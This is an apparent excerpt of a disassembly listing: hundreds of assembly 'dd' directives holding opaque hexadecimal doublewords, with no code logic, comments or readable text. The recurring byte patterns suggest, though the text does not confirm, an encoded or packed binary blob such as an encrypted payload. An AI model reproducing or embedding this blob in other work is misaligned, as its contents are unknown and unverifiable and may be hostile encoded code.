0DD9DAFF8h dd 3E1D5E97h, 169BAB11h, 20BE3256h, 0D5B13251h, 0EAB0B059h dd 75483256h, 0BABADB56h, 754B3256h, 0CF145B9Bh, 0A4435C94h dd 0ABB4DBA8h, 0AA023256h, 0EA6A2C1Ah, 0CCD75256h, 53D1A27Fh dd 5DB1325Bh, 0C9110F67h, 448D322Ch, 0F95A297Fh, 263A549Ah dd 6CBE5337h, 75B13247h, 0BAB13EBFh, 0F333AC56h, 0F2059F9Fh dd 0D6C1F0CDh, 0A4B13282h, 0D5B133D0h, 0EAB1CB56h, 75B6B459h dd 31BE3256h, 5DB13257h, 47B132A3h, 57B1325Fh, 2654072Fh dd 0AA61119Dh, 61BE52D5h, 75B13242h, 0BAB13CBEh, 0A1DD0356h dd 0C9E6E647h, 0FDF9DE1Dh, 0F08F112Fh, 0D5B5BE59h, 55D73256h dd 75D0955Bh, 0BAB1CE56h, 0D50F5436h, 0AEBCDA9Fh, 0A03A3256h dd 9CEB6A30h, 0CF098BBFh, 8C9449A6h, 2C972EE9h, 0DAB13237h dd 0AE3A52A3h, 0CFD0C5DDh, 0AF443256h, 0AB483256h, 0D5B1CB56h dd 0EAA5B159h, 9DD13256h, 0BAB1325Eh, 0EA83AA8Bh, 8FCA1E48h dd 8E0F5408h, 0A4D1530Eh, 7E08FDE9h, 8BBCAD0Eh, 67583256h dd 33B13256h, 9D47854Ch, 25258C4h, 5A8A3CFh, 0FF7FC114h dd 0DAB1324Eh, 0EAB120D9h, 87305256h, 0B7070CA0h, 5DB137BFh dd 44D3D56h, 57D05453h, 2ABE5256h, 0D5B13254h, 5DBEE8DDh dd 75B153A7h, 0BA90B859h, 0B4D13256h, 0AEB13242h, 16F5211Fh dd 0C18C51E9h, 2477D7F2h, 0E0894953h, 14115560h, 0BAB1BB59h dd 5DD03256h, 0AEB1CE56h, 2E2F8A36h, 0A4D01E62h, 0D5B133D7h dd 0EAB1C756h, 9CB132AEh, 0BAB1325Fh, 0A411BD7Bh, 0A7EDCh dd 37B132B6h, 0ABB0B459h, 0B4483256h, 66BE3256h, 75B13242h dd 0BABFB759h, 54583256h, 16B13256h, 507DDE19h, 0A46E9BDAh dd 6BD13256h, 0CC1D192Ch, 0A60B5436h, 0B5D05327h, 5DB13ED6h dd 0A8343D56h, 58B13256h, 0ABB132D9h, 3CB13256h, 0EAB1325Eh dd 4E841D7Dh, 0E7CFAFB6h, 52D13256h, 0AEB130D1h, 0D6EF6556h dd 5C1674A7h, 0D544537Bh, 6BD75256h, 7A371F90h, 0BAD0E8E1h dd 5DB6DB56h, 0B7783256h, 0B403E4CCh, 0A4B132A2h, 0D5B133D5h dd 0EAB1CE56h, 8DB132A3h, 0DCD13256h, 3DD0E1DDh, 0AEB9DB36h dd 2C173256h, 0E339F095h, 6ABECF20h, 8CE05394h, 2B33E8E9h dd 0B5B13237h, 5DB110D7h, 27BE5256h, 57B13256h, 0ABB126BEh dd 8C107156h, 0B6A5C94Dh, 7E11C32Dh, 0F5D243A8h, 6428F637h dd 0A1D06C89h, 57B133D9h, 0ABB1C756h, 0D5A0B359h, 0E6583256h dd 0B1B13256h, 39D0C651h, 0C11D8A1Dh, 4703226Ch, 57B13242h dd 0E1ECCE8Eh, 0A24EBF87h, 0EAFF268Bh, 45F85816h, 0F5FB09B1h dd 5D443256h, 0AEB1CB56h, 57B138BFh, 0E79CE956h, 0C777D672h dd 0EACCE2E7h, 75B1C756h, 0BABADBAAh, 0E5553256h, 0FB279DC9h dd 0E89F538Fh, 0A4B13220h, 0D5B133DDh, 0EAB1C756h, 7AEB8736h dd 0BAD0F8E9h, 47343D56h, 0A1B13256h, 57B126DBh, 0ABBEDB56h dd 9BF43256h, 0E67D1171h, 0B14DA3E4h, 0C0E5729Ch, 0A1B132A9h dd 0A1B132AFh, 57B123DEh, 0A03A3D56h, 3CB13256h, 0EAB13250h dd 6456C4D2h, 0B5D1687Bh, 5DB12CDCh, 0B6373D56h, 0BEB13256h dd 0ABB13245h, 0C162995Fh, 0C9779542h, 14FF250Bh, 570A9343h dd 3D8DBA20h, 0A1428D59h, 57B132DDh, 0AB595356h, 8FB13256h dd 7884D8D7h, 0C3D1344Fh, 39BE533Eh, 5DB13257h, 2334BFA3h dd 0BEB72ADBh, 0ABB1325Ch, 6B5357CDh, 0F824B3C5h, 0F73888A8h dd 0BCA84991h, 5DB126BFh, 7D17D956h, 5E328D77h, 0F4253830h dd 0B0F45924h, 236990BAh, 0B533BF71h, 0B5B72824h, 5DB13EDFh dd 0A8303D56h, 58B13256h, 0ABB132D6h, 0D33BB56h, 0E5B72B2Dh dd 75B133D5h, 5244CA56h, 5DB10A63h, 0AEB120BFh, 9E56EC56h dd 1379F392h, 0C5D05155h, 364526A5h, 9D4EDBD3h, 0BAB130FFh dd 5DB123BFh, 0AC449856h, 0A0368DD3h, 514C5414h, 279CCB8Bh dd 0FA588466h, 0ECB13256h, 0DA80A7D0h, 0DD8852F6h, 57BBAFC2h dd 90A85EAAh, 0B2CA7FD4h, 0D5B13250h, 1E3B5256h, 75A3DB00h dd 8B843256h, 7AB63F56h, 88D465C4h, 965D00E1h, 603DDB76h dd 20E35309h, 0FB50B790h, 7AE73445h, 0BAB13AD8h, 5F373D56h dd 0CEB13256h, 0EFE35A37h, 0A558AEFEh, 0E2B13256h, 0C8B50C8h dd 0BBC54DBDh, 0F0DBB41h, 5DBBDBCAh, 29FF3256h, 513D1C8Ah dd 9568DAEAh, 0CB5887A9h, 0E7583445h, 68B13256h, 634D4633h dd 5CD4C0Ch, 6620D476h, 2B82B7DBh, 20D13440h, 54E53ADh dd 0EAA3DB36h, 526F3256h, 96407D25h, 7AC80402h, 32E3E9B2h dd 0EB2706B6h, 8AAE7EEFh, 50385376h, 0ECA21B2Bh, 71DBCEAEh dd 0AAB15AAFh, 0DCD13256h, 0EA3F4DBDh, 5258534Ah, 25B13256h dd 0D032E9F5h, 0E9BC723Eh, 75DBCE56h, 5361CDAEh, 5DB13253h dd 88FF7099h, 57A1DB3Ch, 0E9053256h, 6E266B23h, 0CD73C21Dh dd 0AC83C071h, 53EB6D96h, 5DB1325Eh, 8964B7B6h, 0BF2135E6h dd 2FBEF25Dh, 0D5B13373h, 0EAB0B659h, 0FC483256h, 0A3CA7FD4h dd 4D585250h, 0FB13256h, 0E486E667h, 20D84962h, 0DDA15D0h dd 5C59C74Eh, 0F73853D7h, 0BCA8490Dh, 5DB9DA36h, 541E3256h dd 0C2BC5C21h, 0B40824A0h, 8D80D3DEh, 13D0CBDDh, 76BC72EFh dd 0B6393D56h, 52B13256h, 0AEB134DFh, 573C3D56h, 20B13256h dd 3C4452AEh, 0EAB13244h, 0B7893189h, 0FCEF0A49h, 0DD20DCE3h dd 1F7797AAh, 64D0606Ah, 5848CE96h, 0B5E752FCh, 4C016937h dd 80E3CE37h, 0B058363Ch, 0BAB13256h, 0F63DBA30h, 28525906h dd 0BBB15A6Ah, 0D2583256h, 73B13256h, 0E1E892F9h, 0D248B632h dd 5DB13656h, 0AEBDB559h, 0D4BE3256h, 0ABB13250h, 0D5B1BE59h dd 0EADB3256h, 75B13BBFh, 0FD1D2356h, 0BF50D163h, 3C4E8CF4h dd 51A21B2Bh, 0ABA5DB36h, 40943256h, 13B65D88h, 0D32A7281h dd 286F3C15h, 2A09BE3Eh, 0CF49D64Ah, 4F3D3D0Ch, 42B13256h dd 0D5B13245h, 1CDCA083h, 0EDBAB888h, 90F51476h, 0B01F98h dd 27519F2Bh, 4ECF68D4h, 0ABB6DB50h, 210B3256h, 0CCCF76BCh dd 0F4BE538Ch, 0BAB1325Eh, 5DB3BE59h, 0CFD13256h, 57BCDB36h dd 0AEC03256h, 2D8EDCADh, 0EE02B5DDh, 7A795598h, 31D0C5E9h dd 44CA7FD3h, 46E75250h, 57B13244h, 0BC6D2CB1h, 0F2839A41h dd 35409201h, 0BF6A8E91h, 0E5EF396Bh, 0DABEF137h, 0AEB13257h dd 0BED152A3h, 0ABB1325Eh, 65535D05h, 7CD1A55Eh, 0CC33F537h dd 0BAB72158h, 0B4B17256h, 0AEB13242h, 89274495h, 16F50DFCh dd 2FBE0CB1h, 0A3FCF981h, 20910FE7h, 9328B091h, 4DB13445h dd 0BF583256h, 31B13256h, 2D39A231h, 2A57E480h, 0D51D7C0h dd 9FF2A3Dh, 0BB303D37h dd 0A4B13256h, 19BE5295h, 0BED153A9h, 0ABB13247h, 0ADC533E4h dd 0FEC8BE2h, 0AF2D7E33h, 930D4F44h, 100BB9C8h, 0A1B72B2Dh dd 57B126D9h, 0A6585256h, 53B13256h, 48781F10h, 861D8F85h dd 5FCB88A6h, 5D8EB137h, 0AE65B659h, 0D9BE3256h, 0ABB13248h dd 0D5A9BE59h, 0F9583256h, 96B13256h, 8EA778A6h, 7F34756Ah dd 0A34225FEh, 77B4A69Eh, 0D432EADBh, 51BE3046h, 0EAB1320Bh dd 75B135BFh, 0F2953256h, 0CF7B1C24h, 0AEB7B559h, 0E0D13256h dd 0CA6FB978h, 0D1A14DD5h, 0EAD0B659h, 80D13256h, 0BAB122BFh dd 4131C356h, 0FA22D1C9h, 0D8F7FA19h, 0A37CF315h, 1232533Ch dd 0E13E3D42h, 9CB13256h, 0BAB13250h, 1494B970h, 0D858410Fh dd 374ECDA9h, 0ABB3B659h, 8AE73256h, 0FAF6F537h, 75B13257h dd 4561DBAFh, 4958CDA9h, 91B13256h, 3E01BBD5h, 0B8B0B934h dd 30D7C88Ah, 365707E6h, 0B2D8F809h, 0BAB22211h, 0D7BE3256h dd 0AEB13257h, 0A815DBAAh, 0CB48CDA9h, 0D5B13ABFh, 62AF4956h dd 0E3D60E82h, 0B5D0538Bh, 5DB13AD7h, 0AC3B3D56h, 37B13256h dd 0A658F137h, 0CEB13256h, 4445EC4Eh, 0CF27B89Dh, 0E8E21A76h dd 0BD305203h, 0EC014CCEh, 51333D37h, 0CBB13256h, 8AE0EADDh dd 135DB937h, 0F4BE5236h, 0BAB13256h, 0B5D071E2h, 0AEB13256h dd 7D5BB30Ch, 0A4B72BC1h, 0D5B127D5h, 0E4585256h, 0CFB13256h dd 9FABD5CFh, 41BBCCB4h, 1657FB5Fh, 0DC445357h, 0B2CF4AE4h dd 0D5BBDB50h, 53D93256h, 19E489BFh, 7D9916B6h, 0B4B977DDh dd 0AEB1325Eh, 0FC4091Eh, 0DB41BB95h, 204834DFh, 94C9B0D5h dd 7AB5344Fh, 0BAB13ED3h, 5DB6DB56h, 0B7ED3256h, 6A8EC61h dd 0A1585326h, 0A7B13256h, 0AC52167Fh, 0DDB324F6h, 4278CA21h dd 5DB123BFh, 8BC4D456h, 445429A5h, 14D67976h, 0C87F685Fh dd 0EE737A6Dh, 743D3D56h, 42B13256h, 5D59CE36h, 0F4B13256h dd 0C078D8D7h, 0A44D344Fh, 0D5B133D0h, 8CD1C756h, 13D220EEh dd 31D0C5DDh, 44CF68E4h, 0AF373D50h, 0AEB13256h, 0D5C9806Dh dd 51BE344Fh, 0EAB133E7h, 75B6B959h, 38BE3256h, 5DB13257h dd 568FB9A3h, 376EB9AAh, 0CACBEFD6h, 0D5BBB159h, 0EF583256h dd 6CB13256h, 8E49F085h, 5CFE8459h, 0AEB13CBFh, 18131F56h dd 96C22F80h, 0FC7E2FACh, 3DEE9E9h, 75B13246h, 4EFB8C6Dh dd 5EBF7CACh, 0D2904CCFh, 26487BD3h, 2BB075A0h, 0D5EAB759h dd 65BE3256h, 75B13257h, 0B56831A3h, 5DB12BD7h, 0AEA5DB56h dd 5D123256h, 43162459h, 6235724Ch, 0B72D7766h, 164F5F7Ch dd 0FC583264h, 3DB13256h, 0AEB121BFh, 44B8C456h, 54EA9C52h dd 0CC33B963h, 949A76FBh, 40ABE595h, 5757B236h, 5DB13BBEh dd 9A3D1656h, 16FF85B4h, 0CAE9F437h, 0DA681937h, 0EAB122DFh dd 75BADB56h, 3BA33256h, 8F7E52B0h, 0FDD18880h, 0D0BE717Ch dd 0ABB1324Eh, 0D5B121BFh, 0AB265D56h, 86DD7C5Eh, 0DFD65366h dd 0C4415A60h, 3F62E48Bh, 9B095215h, 0A4AB85A9h, 0D5B131D0h dd 0A46AB256h, 0D034B937h, 53B72177h, 5DB1325Dh, 53AF2472h dd 0BC46534h, 0A4E643DCh, 0D5B133D1h, 673ACE56h, 73A22853h dd 0DBD15236h, 0DDD0CFDCh, 47D0C2B0h, 57B1325Ch, 61B91F09h dd 26AC64FAh, 328A0925h, 7591B059h, 814D3256h, 4A363D8Fh dd 0A1B13256h, 57B135DCh, 0AA343D56h, 2CB13256h, 12B5F4D5h dd 8A4FBDBFh, 758AC7A9h, 5DF2B659h, 0A6583256h, 59B13256h dd 4D146E08h, 203DCCDAh, 0F0B48FDFh, 7D583445h, 9DB13256h dd 503CF38h, 476314D0h, 0A84ECC05h, 610E3D36h, 0D5B121BFh dd 5F0A3B56h, 0EC4E7D97h, 6868B6A4h, 0E95611A6h, 0A56CDE38h dd 37D15337h, 431FD7D6h, 0D5B13250h, 0D3D7B4CEh, 14E9A708h dd 79D0C7DCh, 5DB13ABFh, 9395A156h, 0C4F949A3h, 26BE523Dh dd 0D5B13248h, 0EAA9B659h, 66583256h, 5FB13256h, 0FCF35ABEh dd 17F3223Ch, 0D2AEF7B5h, 6F1D32DCh, 0D5598CACh, 0B0B13256h dd 0EC48D8D7h, 0DCD1344Fh, 304AEDD7h, 0CFAEF0D6h, 0D0BB9A3h dd 5EB72B28h, 0D5B032EFh, 2A82C756h, 75B139BFh, 9C994F56h dd 2712AD8Ah, 90D62602h, 57B9B559h, 2DBE3256h, 0D5B13254h dd 41425336h, 2F33B9AFh, 0DAB72B28h, 5DB4BF59h, 2FD73256h dd 7B483B7h, 0ABB1BC59h, 0B4EA3256h, 94C9B0DFh, 0F0BE344Fh dd 0BAB13242h, 5DB13DBFh, 634BBF56h, 6CD4F8E5h, 596679E6h dd 3F00DE54h, 35305237h, 529A4FC5h, 0E5E28104h, 3D49F137h dd 0F7D05201h, 57B121BEh, 60229A56h, 1013E1AFh, 0B1B6C3AEh dd 8B209630h, 0D252B4E9h, 3CEB5336h, 0BD3F3D36h, 0BEB13256h dd 0ABB13258h, 0EB66050Eh, 14021329h, 2238823Fh, 0BA596694h dd 7B13256h, 3474D8D7h, 0D3BE344Fh, 0ABB13245h, 0D5B13CBFh dd 0A36C3856h, 0EB7C95F7h, 73211C2Eh, 3D065BB9h, 0A1418D59h dd 57B132DFh, 2E775356h, 0D3A223B7h, 0E7313D00h, 9CB13256h dd 0BAB1325Eh, 0EE45BB89h, 0DF92C895h, 48DC0B3Eh, 1E4ECA82h dd 0D3A22CBFh, 8C218636h, 14759FEEh, 0C682B7DBh, 0D7BE3440h dd 0AEB1325Eh, 57B3BB59h, 0CAD13256h, 56BEE2A9h, 0EAB13253h dd 8C3ACE36h, 53E3CB37h, 5DB13246h, 1BDD8ADDh, 4056FE1Ah dd 0FB05F32Eh, 137CED61h, 0EB3B3D06h, 8CB13256h, 0BA31323Eh dd 5DDBCE56h, 0E303CDAFh, 37B72B2Dh, 9FE5F7EEh, 54E535Eh dd 8CD16AAAh, 0B5DFC3D7h, 0FC6EB330h, 0A5EB53D2h, 146EB936h dd 488A7E64h, 2BB15A37h, 52BE3256h, 0EAB13257h, 7AB158AFh dd 0BAB133D2h, 0EF4ECE56h, 0A8A84C0Ch, 0FAB58C36h, 0CDE13F03h dd 8A4774E9h, 361CD37h, 75B1325Eh, 0EFF525B5h, 7D9965E9h dd 0AEA3DB37h, 0F1A33256h, 77A659C2h, 4CE72288h, 0F822335Dh dd 853D92CAh, 0B2333D95h, 3DB13256h, 0C85FFBD6h, 2D0E8DDh dd 525DB9AEh, 5CD08D36h, 8AD04BCCh, 70343D36h, 1B13256h dd 7753DA3h, 0CF638559h, 57B132BEh, 41306856h, 0D3A8AE59h dd 0EAA2DB36h, 64E43256h, 3CD89E45h, 0A717A2B3h, 0BD8FF7Eh dd 0A5DFF037h, 0A44453A5h, 0D5B13AD0h, 0E83E3D56h, 15B13256h dd 0B2C4B937h, 0E82E8D36h, 0BE587039h, 4FB13256h, 8B94E18h dd 5A7BCBBh, 432C9FBEh, 14A2C098h, 0BAA01EBEh, 51313D56h dd 0A1B13256h, 57B134DEh, 0AB3B3D56h, 80B13256h, 0EABBDB36h dd 5E043256h, 0C381693Fh, 0C0EE171Fh, 0AEB123BEh, 36902F56h dd 0E294B970h, 0F488410Fh, 80241BF3h, 0CBD7A91Ah, 0DBEF55CEh dd 2676A0A9h, 0C8D1344Fh, 325FE9D7h, 0ABA6B459h, 0C4593256h dd 51B13256h, 0E21B1458h, 22D5CA44h, 965B5745h, 0B0498EA0h dd 37EC530Eh, 0CD688D59h, 0EED0F8DDh, 6FBE3E23h, 8A4ECDD6h dd 0BAB139BFh, 0E7211B56h, 4E85C84Ch, 0A0BDCD4Ah, 0ABA1AEBEh dd 0D3595256h, 0F9B13256h, 0E617195Ah, 727EB35Fh, 5D085E9h dd 0BCE9F2E9h, 0BED0531Ah, 0ABB13250h, 24EAEA22h, 16782ED6h dd 9CB13A94h, 0BAB13258h, 34571A6Bh, 0AAF8D45Eh, 1428AC2Ah dd 0CBE4C8BDh, 0B3A78336h, 0E5D0FDDDh, 75B130D5h, 0DBE96456h dd 0D2BEDEDDh, 0AEB1325Ah, 573C3D36h, 0CDB13256h, 0B496B7ECh dd 0EAB139BFh, 0A4499756h, 1C8C35A5h, 0D18959Bh, 5B4DF6D5h dd 31E65200h, 0F8E9F1DDh, 0B5E6530Eh, 0EAB120BFh, 85429E56h dd 0E65448ECh, 6CA0110Ch, 7D365972h, 0BE25B366h, 0ABB13245h dd 594AC1D3h, 61E3AAABh, 1ECC89C7h, 8A9B7CC8h, 3C0657C8h dd 25D75205h, 0E56FB397h, 0CAE7902Dh, 0D5B1DAAAh, 6BEB3256h dd 6C2C8ABCh, 0BAA5DB50h dd 0CD213256h, 950179ADh, 6F474D0Bh, 0D3B4929h, 5995C6CAh dd 6148D062h, 0F7BE3A23h, 0BAB13251h, 5DB0BE59h, 25493256h dd 5158222Bh, 92B13256h, 0FF327841h, 3E6CA45h, 75B1325Ch dd 0CE97624Bh, 0A15C0B71h, 47E743D6h, 57B1325Dh, 389CB23Eh dd 7E3D7BA8h, 2FF97A2h, 75B133EEh, 0BAB13CBFh, 1504E256h dd 0C81AA4CBh, 0D97EFE62h, 0A0538E76h, 23353D96h, 0E5B13256h dd 75B135D1h, 0BB373D56h, 0A5B13256h, 0BA58CADDh, 0B2B13256h dd 0FF965B69h, 0D08CC615h, 0C13DFB69h, 9AAA9F70h, 0EFD1FBFDh dd 9A23CDAEh, 0CEB72B2Dh, 0E07EB330h, 0ABA2DAD8h, 71683256h dd 143F3714h, 66A06748h, 5F375BFAh, 754B94C6h, 0F3D0689Bh dd 57BFBD59h, 0A2583256h, 0D8B13256h, 7136D1A5h, 34F99B19h dd 0B5BD476Dh, 5DB1BAD2h, 0AEBADB56h, 6BFB3256h, 0DE9A234Bh dd 7D06DE9Eh, 0F43A5484h, 9231CBAAh, 0B4323DA6h, 3DB13256h dd 9517F3D7h, 0D0BE6BF5h, 0ABB13256h, 3CAFB837h, 0EAB13246h dd 8AD3E788h, 48C31664h, 0E77931F9h, 0CA503FB4h, 5841D1D6h dd 0ABB133D9h, 0BF59C756h, 3B1327Eh, 75B13251h, 0B5018D4Eh dd 0B445A48Ah, 514ECCB8h, 57BDB759h, 2DBE3256h, 0D5B13250h dd 0EAB1B159h, 7B583256h, 0DBB13256h, 0F7C78D78h, 4C10F851h dd 624B17B4h, 57CCBB4Eh, 0D5B135BFh, 0ACBD7256h, 8D07368Dh dd 0BAB134BFh, 6428F656h, 46CE2D89h, 0A84EC428h, 0CDD169AFh dd 54BEC9DDh, 0EAB13250h, 5B3D1D7h, 0E5D009C5h, 5DB120BFh dd 0FE189556h, 0C1A20104h, 64352AC7h, 0C7513E0h, 0B47FDBC4h dd 95305436h, 0B5593ACFh, 0C9B13256h, 387A78B9h, 0A2FB2B4Fh dd 72AA75F4h, 92084F69h, 0B1ECFDAEh, 89F4B937h, 0BABCDA36h dd 20C73256h, 0A5AD9E6Eh, 981F02CCh, 1C124DE6h, 64026A6Eh dd 6CBEFB37h, 75B13245h, 6E095436h, 5DB6DAEBh, 6C5B3256h dd 499F2CBFh, 69D06D13h, 2049325Ah, 0FA595203h, 0E8B13256h dd 433D0551h, 5353E708h, 3FF0EC79h, 0EEF373C7h, 94562120h dd 0C458520Eh, 77B13256h, 241F4B4h, 80244B32h, 9CDA8A9h dd 29CE8650h, 0BB3A5337h, 5375B1AAh, 0D95865A3h, 0AB13256h dd 0D9F4326Fh, 11DE40CDh, 0B1AA51Fh, 0AEBDB059h, 0D5BE3256h dd 0ABB13250h, 0D5B1B459h, 3E03256h, 75B13246h, 2260FD63h dd 185161A0h, 82B74E1Ah, 0C6304555h, 0ABB4B059h, 29D13256h dd 0B9D06D06h, 75B121BFh, 80068C56h, 7166874Fh, 0A90C96D4h dd 9F3DAA41h, 14D424CBh, 0D5497791h, 3B13256h, 75B1325Fh dd 0F8CBABA1h, 8375625Dh, 133F59Eh, 56B72B2Bh, 42B13256h dd 0D5B13244h, 589A9A20h, 0BAF8A1B0h, 3B3245F3h, 271563B3h dd 2549C9F9h, 0DBBE3A23h, 0ABB13250h, 6672B936h, 61D753E8h dd 2BE35248h, 0F70BB937h, 0A8B72B2Dh, 0CEB96DDDh, 0DE62B330h dd 68063D58h, 0DA6A3937h, 0EAB1E3D2h, 75A3DB56h, 0FE663256h dd 734115C3h, 3A52200Eh, 532B45A0h, 10775D41h, 0DA6F09AEh dd 0EAB14AD3h, 75A0DB56h, 7A1D3256h, 0A06F417Eh, 9144DF4h dd 1323D067h, 0CBFCAD30h, 7762B236h, 74DFC5E8h, 7E59532Fh dd 77B13256h, 0EC80C681h, 7F6F4DE3h, 0DCD7556Fh, 20D06B8Fh dd 54BE3E0Bh, 0EAB1325Ah, 75B7B759h, 30BE3256h, 5DB13256h dd 0AEA9BA59h, 44583256h, 8B13256h, 1F79815Dh, 0E043DD3Ah dd 5EEA482Eh, 83AA55F1h, 2388D6Fh, 0A858C75Ah, 0C1B13256h dd 0BD3090E1h, 0C176B127h, 15FBDBAFh, 7C58CDA9h, 2EB13256h dd 0F7C15707h, 0CAD0DD67h, 57BFDA36h, 0C4A03256h, 6383A346h dd 0BB8D6C38h, 8F4F60EBh, 0B5EB5336h, 5DB136D0h, 8C0E5456h dd 0DCD75356h, 0A6595248h, 0D2B13256h, 5F7A4D1Eh, 0A2532607h dd 0E5FE13D5h, 0DDD06BA3h, 2ABEDAADh, 57B1361Ch, 0ABB120BFh dd 35C14956h, 2AFA59EEh, 0C4041987h, 65C5ACA7h, 0DDC123B6h dd 2ABEDBADh, 57B1367Ch, 404AB2A3h, 0D191B659h, 3D13256h dd 75B13242h, 3F1F74EFh, 0B27224C5h, 0F9B4BD5h, 38EBD214h dd 0BF3D315h, 0CC9A93E9h, 0E5D15342h, 75B12AD0h, 0BAA3DA56h dd 0A11B3256h, 4B6FD961h, 6C2584EEh, 23FCCA37h, 0D8B6B1EBh dd 8B69B90Fh, 7A53C9D6h, 0BAB2F5D2h, 5DB4DB56h, 806B3256h dd 375AE0F4h, 0ABB7BD59h, 3D303256h, 80AF136Eh, 33B48A30h dd 594AB237h, 5ED2B659h, 0BE583256h, 5FB13256h, 0B6E668AEh dd 0AD724B5Ch, 9B60B4CBh, 132D289Ah, 59D6C9D7h, 5E33B659h dd 0A1D13256h, 57B139D5h, 0ABB7DB56h, 0FE133256h, 2236C3Ah dd 144BB930h, 0B541D5D6h, 5DB129D3h, 0BB3D3D56h, 0BEB13256h dd 0ABB13246h, 98F4F162h, 4A612CC5h, 5E514E6h, 55365575h dd 524AB330h, 0E5353DD6h, 58B13255h, 0ABB139DAh, 0D5B7DB56h dd 8E4D3256h, 4E11F33Ah, 0DA41D1D6h, 657EB330h, 0CF1F811Dh dd 0B8305436h, 0A4E0FF71h, 0D5B132D2h, 6AD06856h, 0F1BE42ADh dd 0BAB13140h, 433A54AEh, 0AEB123BFh, 7E8A2E56h, 0F7F66F05h dd 0D9C9D6Ah, 99BD892Ch, 96311154h, 0BABDDBAEh, 348B3256h dd 71751D82h, 2587DDE6h, 0A4D10DAAh, 0D5B131D9h, 2D0E3D56h dd 8E3153A3h, 39353DEEh, 0B4B13257h, 0AEB13253h, 0D8EC39C3h dd 0AE8FB206h, 0D4C1B659h, 3D13256h, 75B1325Ch, 0A8AD77E6h dd 0EDC86BC9h, 10D7C8AFh, 0D7D08279h, 2FBE1F68h, 0D5B13304h dd 0EAB122BFh, 4DA3E556h, 5AD9748Dh, 50E41056h, 90D0FB5Ch dd 3F8FB217h, 0AA85B659h, 5EBE3256h, 0EAB1324Bh, 75A6B159h dd 0A8583256h, 95B13256h, 0FC19002h, 0EB28D3DEh, 5B98B4F3h dd 7B1D5086h, 0EAB6DB05h, 94F73256h, 0A6BF63B9h, 0F233CDFBh dd 0A1B72B2Bh, 57B139D5h, 11D75256h, 54D722E2h, 8B044B84h dd 9CAFB930h, 0BAB13253h, 36C9E3F9h, 25D752DDh, 57B7DAADh dd 0CB6D3256h, 0FD3910F3h, 0EAB1BD59h, 14EF3256h, 4649D5D6h dd 0DC4AB330h, 15353DBEh, 58B13256h, 0ABB133DAh, 5ED7CB56h dd 0D31CB48h, 0F4D7C7A6h, 0B571B3ADh, 5DB193D2h, 563A5256h dd 2741B330h, 0A4D153D7h, 0D5B122D0h, 0EABADB56h, 0F2E03256h dd 629F42FFh, 8DCF5493h, 0BF586796h, 0FCB13256h, 0A65902D2h dd 4858B189h, 0BD25705Bh, 49B31071h, 0C176A0A9h, 5158344Fh dd 7B13256h, 0D5549A36h, 4DCF36B5h, 88BF8CC1h, 0EAB0BF59h dd 0FC493256h, 0B5D1CE13h, 5DB12AD9h, 0AEA2DB56h, 44933256h dd 87BA6CA1h, 80EA5E80h, 0CE7625DAh, 0BD82F367h, 0DB7AB91Ch dd 0EFD15237h, 0AE313DFCh, 36B13256h, 57CCB137h, 9D343D57h dd 8AB13254h, 75B6DBAFh, 281A3256h, 0F21147C5h, 143A5397h dd 51A23CEFh, 0ABB13CBFh, 0C4795256h, 353B187Eh, 70611B70h dd 4F904442h, 4C3A3D06h, 47B13256h, 57B1325Ah, 4DE7E549h dd 0AA7AEB29h, 1D731242h, 0DA33B9AFh, 0DAB72B2Bh, 8E31E3DCh dd 9288535Ah, 0D6D75266h, 42E3798Dh, 0D5B13253h, 0D26C81D8h dd 2D48535Ah, 0BB6CB059h, 0B5D13256h, 0AEB1325Ah, 0D2BCEC95h dd 67DB27E6h, 0ECDAE4F3h, 0B57B8D59h, 1490E4D6h, 932888DDh dd 0D9BE3445h, 0AEB13241h, 57B120BFh, 80428756h, 12442389h dd 8725E204h, 2DD95CEEh, 0EA2648EAh, 5DB6BE59h, 24BE3256h dd 57B13257h, 433B9AEh, 0B5B72B2Bh, 0DA8D0B37h, 410E5436h dd 0AC363DD8h, 0B5B13256h, 0AEB13246h, 0A43367BFh, 0C6794ED8h dd 47DD8D32h, 7E675628h, 0FED1530Ch, 0DBD152A6h, 3C4ED8D6h dd 21BE6A37h, 57B13305h, 0ABA0BA59h, 0D9583256h, 1AB13256h dd 96A36A78h, 20C6C4C2h dd 0B4DE2552h, 0AEB13218h, 0AFF4F5AEh, 0ABB13254h, 0D5AABD59h dd 6ABE3256h, 75B13243h, 0BAB122BFh, 43652056h, 8B0D2B85h dd 6B3B7B02h, 4B35698Bh, 0CA58C71Ah, 1FB13256h, 75BBB759h dd 0BF583256h, 0E3B13256h, 9C3FC317h, 56497791h, 0A4B13256h dd 0D5B133DEh, 503ACA56h, 73A8491Bh, 433A5436h, 5DB13DBEh dd 0B04EAC56h, 2404432h, 0B91A700Ch, 6BA5BFF2h, 7C398930h dd 6A3A530Dh, 0BAB123BFh, 8D4E6256h, 0CF60E4CDh, 8A1161E0h dd 6AE1FC41h, 0EBAF28Ah, 0EA14B659h, 0F4D13256h, 3725F285h dd 0DEBE5203h, 0AEB13256h, 0A97BC1D7h, 0CAD02FD8h, 50BEEC6Dh dd 0EAB13201h, 13D05236h, 31D0C2DDh, 0B4D13E0Bh, 0AEB13250h dd 230C599Ch, 503A77E2h, 2DCCB137h, 0CB353D56h, 9CB13256h dd 0BAB13251h, 641F80D5h, 52E6E580h, 0BE496F55h, 0ABB1325Ah dd 26976B34h, 6EB14084h, 3C392BA1h, 53B56DDFh, 5DB1325Dh dd 0EFD46AF1h, 35FC6898h, 28924051h, 58BE2691h, 0EAB13257h dd 8AEDDBA3h, 0ECD1CDA9h, 0BBF2F8D7h, 0C8EF00E9h, 64D0E8DDh dd 0CA485296h, 0D5B476BFh, 0F50B5256h, 13CB4EFBh, 0DCD0E1DDh dd 5A582CDDh, 0BB13256h, 5365223Ah, 43D1CBCFh, 0D5B1325Eh dd 0F8210373h, 0A7F3D9BDh, 0DBEB5336h, 52BD4FDDh, 0AEB13BDDh dd 58445256h, 0ABB132DFh, 2E315356h, 89353DBDh, 7AB13256h dd 0BAB121D9h, 57585256h, 0F9B13256h, 0BD98A298h, 63977EF1h dd 0B46FB931h, 0E541D1D6h, 75B123DAh, 0B13A3D56h, 0B4B13256h dd 0AEB13250h, 0B8CAF06Ah, 50313D5Dh, 66353D26h, 16B13256h dd 1E338A36h, 0B5D1381Fh, 5DB132DBh, 47D05356h, 57B13368h dd 0ABBDB359h, 50BE3256h, 0EAB13250h, 75B1B659h, 0BD773256h dd 5B373DBFh, 0CEB13256h, 0AE70B930h, 0AAF6F537h, 0D5B13256h dd 0EAB9DB36h, 0E2A3256h, 0FB92B8B0h, 50588BCAh, 94B13256h dd 4F459262h, 